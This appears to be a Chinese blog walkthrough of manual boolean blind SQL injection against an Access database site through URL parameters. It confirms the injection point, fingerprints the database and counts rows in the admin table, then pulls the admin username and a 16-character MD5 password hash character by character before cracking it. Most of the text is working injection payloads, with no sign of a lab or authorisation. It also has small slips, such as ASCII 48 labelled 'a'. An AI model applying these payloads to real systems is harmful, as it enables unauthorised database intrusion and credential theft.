记一次报错手工注入(布尔型)
原理:
盲注:数据库的执行结果不会被前端显示,这时候就要利用一些函数什么的将结果体现出来
SQL注入:传入的数据经过拼接后可以被作为SQL语句被数据库执行
注入存在条件:存在数据交互,参数可控
准备知识
语句一:select count(*) from T;
作用:查询T表中数据的行数。此处用于判断数据库是否为access
过程
1.查找注入点
?NewsID=20&BigClassID=2&SmallClassID=2 and 1=1
?NewsID=20&BigClassID=2&SmallClassID=2 and 1=2
返回的信息不一样,说明存在注入点
注意:这里有三个参数,都可以作为注入点
2.判断数据库类型
?NewsID=20&BigClassID=2&SmallClassID=2 and (select count(*) from msysobjects)>0
msysobjects是access中的固有表,但是没权限访问。若报错,就说明是access数据库,否则就是另外的数据库
3.判断账号数
?NewsID=20&BigClassID=2&SmallClassID=2 and (select count(*) from admin)<>0
正常回显,说明admin表里存在数据,接下来看有几行数据
?NewsID=20&BigClassID=2&SmallClassID=2 and (select count(*) from admin)>1
返回和正常不同的信息,说明存在只存在一行数据
4.bool检测表中数据
?NewsID=20&BigClassID=2&SmallClassID=2 and 1=(select count(*) from admin where len(adminuid)>0)
在admin表中查询数据数目,如果adminuid(属性)存在则会返回正确页面,否则就会报错,以此来检测是否存在adminuid这条数据
5.查询用户名和密码
sql中mid(),和top的用法
我们拥有下面这个 "Persons" 表:
Id | LastName | FirstName | Address | City |
---|---|---|---|---|
1 | Adams | John | Oxford Street | London |
2 | Bush | George | Fifth Avenue | New York |
3 | Carter | Thomas | Changan Street | Beijing |
现在,我们希望从 "City" 列中提取前 3 个字符。
我们使用如下 SQL 语句:
SELECT MID(City,1,3) as SmallCity FROM Persons
结果集类似这样:
SmallCity |
---|
Lon |
New |
Bei |
如果再使用
SELECT TOP1 MID(City,1,3) as SmallCity FROM Persons
则只返回第一条数据
SmallCity |
---|
Lon |
1.查用户名
and 1=(select count(*) from admin where len(adminuid)=5) 返回了正确页面
估计用户名就是admin
验证:
and 1=(select count(*) from admin where adminuid='admin')
返回正确页面,说明用户名就是admin
2.查询密码
一般密码的存储形式为md5,即16位,所以需要一个一个字符查询
and ((select top 1 asc(mid(adminpwd,1,1))from admin)>54) 返回正确页面
and ((select top 1 asc(mid(adminpwd,1,1))from admin)>55) 返回错误页面
说明第一个字母的asiic码为55,即7
and ((select top 1 asc(mid(adminpwd,2,1))from admin)>96) 返回正确页面
and ((select top 1 asc(mid(adminpwd,2,1))from admin)>97) 返回错误页面
说明第一个字母的asiic码为97,即a
and ((select top 1 asc(mid(adminpwd,3,1))from admin)>52) 返回正确页面
and ((select top 1 asc(mid(adminpwd,3,1))from admin)>53) 返回错误页面
说明第一个字母的asiic码为53,即5
and ((select top 1 asc(mid(adminpwd,4,1))from admin)>54) 返回正确页面
and ((select top 1 asc(mid(adminpwd,4,1))from admin)>55) 返回错误页面
说明第一个字母的asiic码为55,即7
and ((select top 1 asc(mid(adminpwd,5,1))from admin)>96) 返回正确页面
and ((select top 1 asc(mid(adminpwd,5,1))from admin)>97) 返回错误页面
说明第一个字母的asiic码为97,即a
and ((select top 1 asc(mid(adminpwd,6,1))from admin)>52) 返回正确页面
and ((select top 1 asc(mid(adminpwd,6,1))from admin)>53) 返回错误页面
说明第一个字母的asiic码为53,即5
and ((select top 1 asc(mid(adminpwd,7,1))from admin)>96) 返回正确页面
and ((select top 1 asc(mid(adminpwd,7,1))from admin)>97) 返回错误页面
说明第一个字母的asiic码为97,即a
and ((select top 1 asc(mid(adminpwd,8,1))from admin)>54) 返回正确页面
and ((select top 1 asc(mid(adminpwd,8,1))from admin)>55) 返回错误页面
说明第一个字母的asiic码为55,即7
and ((select top 1 asc(mid(adminpwd,9,1))from admin)>51) 返回正确页面
and ((select top 1 asc(mid(adminpwd,9,1))from admin)>52) 返回错误页面
说明第一个字母的asiic码为52,即4
and ((select top 1 asc(mid(adminpwd,10,1))from admin)>50) 返回正确页面
and ((select top 1 asc(mid(adminpwd,10,1))from admin)>51) 返回错误页面
说明第一个字母的asiic码为51,即3
and ((select top 1 asc(mid(adminpwd,11,1))from admin)>55) 返回正确页面
and ((select top 1 asc(mid(adminpwd,11,1))from admin)>56) 返回错误页面
说明第一个字母的asiic码为56,即8
and ((select top 1 asc(mid(adminpwd,12,1))from admin)>56) 返回正确页面
and ((select top 1 asc(mid(adminpwd,12,1))from admin)>57) 返回错误页面
说明第一个字母的asiic码为57,即9
and ((select top 1 asc(mid(adminpwd,13,1))from admin)>51) 返回正确页面
and ((select top 1 asc(mid(adminpwd,13,1))from admin)>52) 返回错误页面
说明第一个字母的asiic码为52,即4
and ((select top 1 asc(mid(adminpwd,14,1))from admin)>96) 返回正确页面
and ((select top 1 asc(mid(adminpwd,14,1))from admin)>97) 返回错误页面
说明第一个字母的asiic码为97,即a
and ((select top 1 asc(mid(adminpwd,15,1))from admin)>47) 返回正确页面
and ((select top 1 asc(mid(adminpwd,15,1))from admin)>48) 返回错误页面
说明第一个字母的asiic码为48,即a
and ((select top 1 asc(mid(adminpwd,16,1))from admin)>100) 返回正确页面
and ((select top 1 asc(mid(adminpwd,16,1))from admin)>101) 返回错误页面
说明第一个字母的asiic码为101,即e
((select top 1 asc(mid(adminpwd,17,1))from admin)>100) 直接报错,说明只有16个字符
即md5加密后的16位字符位7a57a5a743894a0e
解密后密码是admin